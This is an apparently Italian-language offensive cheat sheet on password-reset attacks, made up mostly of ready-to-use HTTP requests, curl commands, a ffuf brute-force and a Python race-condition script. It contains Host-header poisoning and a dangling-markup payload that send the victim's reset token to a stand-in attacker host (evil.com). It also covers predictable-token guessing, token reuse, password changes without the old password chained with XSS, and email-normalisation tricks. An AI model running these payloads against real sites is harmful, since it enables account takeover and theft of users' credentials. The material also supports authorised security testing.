Password Reset Attack: Techniques, Exploits and Account Takeover

# Intercetta la request di reset password con Burp
# Modifica l'header Host prima di mandare

# Request originale:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/json
{"email": "victim@mail.com"}

# Request modificata:
POST /forgot-password HTTP/1.1
Host: evil.com                    ← modificato
Content-Type: application/json
{"email": "victim@mail.com"}

# Oppure usa X-Forwarded-Host (spesso trusted anche se Host è validato):
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com        ← aggiunto
{"email": "victim@mail.com"}

# Altri header da provare:
X-Host: evil.com
X-Original-URL: https://evil.com/reset
Forwarded: host=evil.com

# Se il link viene inserito in un attributo HTML senza encoding
# puoi iniettare markup che esfila il token anche senza controllare evil.com

Host: target.com"><img src="https://evil.com/?token=
# Il link generato nell'email diventa:
# <a href="https://target.com"><img src="https://evil.com/?token=TOKEN_VITTIMA">
# Quando l'email client carica l'immagine → token inviato al server dell'attaccante

# Timestamp (ms o secondi)
# Se il token è il timestamp di creazione → spazio di ricerca limitato
# Sai quando hai fatto la request → provi i timestamp in quel range

# MD5 o SHA1 dell'email
echo -n "victim@mail.com" | md5sum
# 5e8ff9bf55ba3508199d22e984129be6 → token prevedibile se conosci l'email

# Stringa sequenziale o incrementale
# token=abc001 → token=abc002 → token=abc003
# Registra un account → vedi il tuo token → provi quello precedente = token della vittima

# UUID v1 (basato su timestamp + MAC address)
# Se riesci a determinare il timestamp e il MAC address del server
# puoi prevedere gli UUID v1 generati prima e dopo il tuo

# Base64 di dati ovvi
echo -n "victim@mail.com|2024-01-15" | base64
# → token prevedibile

# Passo 1: crea due account di test e richiedi il reset per entrambi
# rapidamente (pochi secondi di distanza)

# Passo 2: analizza i token ricevuti
TOKEN_A="abc123xyz789"
TOKEN_B="abc124xyz790"
# Se differiscono di poco → sequenziali o basati su timestamp → brute force

# Passo 3: richiedi reset per la vittima → cerca il token nel range tra A e B
# Con ffuf o Burp Intruder:
ffuf -u "https://target.com/reset-password?token=FUZZ" \
  -w <(cat tokens_da_provare.txt) \
  -mc 200 \
  -fr "invalid|expired|not found"

# Passo 1: richiedi un reset per il TUO account
# Passo 2: usa il token per resettare la password
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=NuovaPass123"
# → password cambiata con successo

# Passo 3: riusa lo stesso token
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=AltroNuovaPass"
# Se risponde 200 → token non invalidato dopo uso → vulnerabile

# Passo 1: richiedi un reset per il tuo account → ricevi il token
# Passo 2: NON usarlo. Aspetta 24-48 ore (o più se stai facendo un pentest lungo)
# Passo 3: prova il token vecchio

curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VECCHIO_24H&password=NuovaPass"
# Se risponde 200 → nessuna expiry → token eterni → brute force molto più fattibile

# Impatto: l'utente potrebbe aver richiesto un reset mesi fa e dimenticato il link
# Quella email nella sua inbox contiene un token ancora valido
# Chiunque acceda all'email (es. ex dipendente) può prendere l'account

# Analizza il source HTML della pagina di reset
curl "https://target.com/reset?token=abc123" | grep -iE "src=|href=|analytics|gtm|cdn"
# Cerca: Google Analytics (ga.js, gtag), GTM, Mixpanel, Hotjar, Intercom, CDN esterni

# Guarda il traffico di rete con Burp:
# 1. Clicca il link di reset (con token tuo)
# 2. In Burp Proxy History filtra le request verso domini esterni
# 3. Cerca l'header Referer → contiene il token?

# Se il token è nel Referer verso risorse di terze parti → vulnerabile
# In un contesto reale: l'attaccante controlla il server della risorsa esterna
# o usa un img tag iniettato nella pagina per catturare il Referer

# Vai nelle impostazioni account → cambio password
# Controlla se richiede la vecchia password

curl -X POST "https://target.com/account/change-password" \
  -H "Cookie: session=SESSION_VALIDA" \
  -H "Content-Type: application/json" \
  -d '{"new_password":"AttackerPass123","confirm_password":"AttackerPass123"}'
# Se non chiede old_password e risponde 200 → vulnerabile

# Combinazione con XSS:
# Inietti uno script che fa questa request mentre la vittima è loggata
# → cambio password silenzioso → ATO persistente

# Richiedi un reset → ottieni il token
# Manda 20 richieste parallele con lo stesso token in 0.1 secondi

# Con Python (threading)
python3 - << 'EOF'
import requests
import threading

TOKEN = "IL_TUO_TOKEN"
URL = "https://target.com/reset-password"

def try_reset(i):
    r = requests.post(URL, data={
        "token": TOKEN,
        "password": f"Password{i}!"
    })
    print(f"Thread {i}: {r.status_code} - {r.text[:50]}")

threads = [threading.Thread(target=try_reset, args=(i,)) for i in range(20)]
for t in threads: t.start()
for t in threads: t.join()
EOF
# Se più di una richiesta risponde 200 → race condition confermata
# In un contesto reale: usi il token "rubato" in parallelo con la vittima

# Email vittima: victim@mail.com
# Prova queste varianti nel form di reset:

# Uppercase
curl -X POST "https://target.com/forgot-password" \
  -d "email=VICTIM@MAIL.COM"

# Mixed case
curl -X POST "https://target.com/forgot-password" \
  -d "email=Victim@Mail.Com"

# Con spazio (alcuni parser lo strippano)
curl -X POST "https://target.com/forgot-password" \
  -d "email=victim@mail.com "

# Subaddressing (Gmail ignora il +tag, alcuni server no)
# Se controlli attacker+victim@gmail.com e victim@gmail.com è già registrato:
curl -X POST "https://target.com/forgot-password" \
  -d "email=attacker+victim@gmail.com"

# Unicode normalization (ä → ae in alcuni sistemi)
# Se l'email usa caratteri speciali

# Se il server manda il reset link all'email che hai fornito invece che
# all'email normalizzata nel DB → ricevi il token tu

# Splunk / Elasticsearch / Kibana esposti
curl "https://target.com:9200/_search?q=reset+token"
curl "https://splunk.target.com/en-US/search?q=reset"

# Log applicativi esposti
curl "https://target.com/logs/app.log"
curl "https://target.com/storage/logs/laravel.log"  # Laravel

# Email di reset in Wayback Machine (a volte le email vengono indicizzate)
# Raro ma documentato in alcuni bug bounty report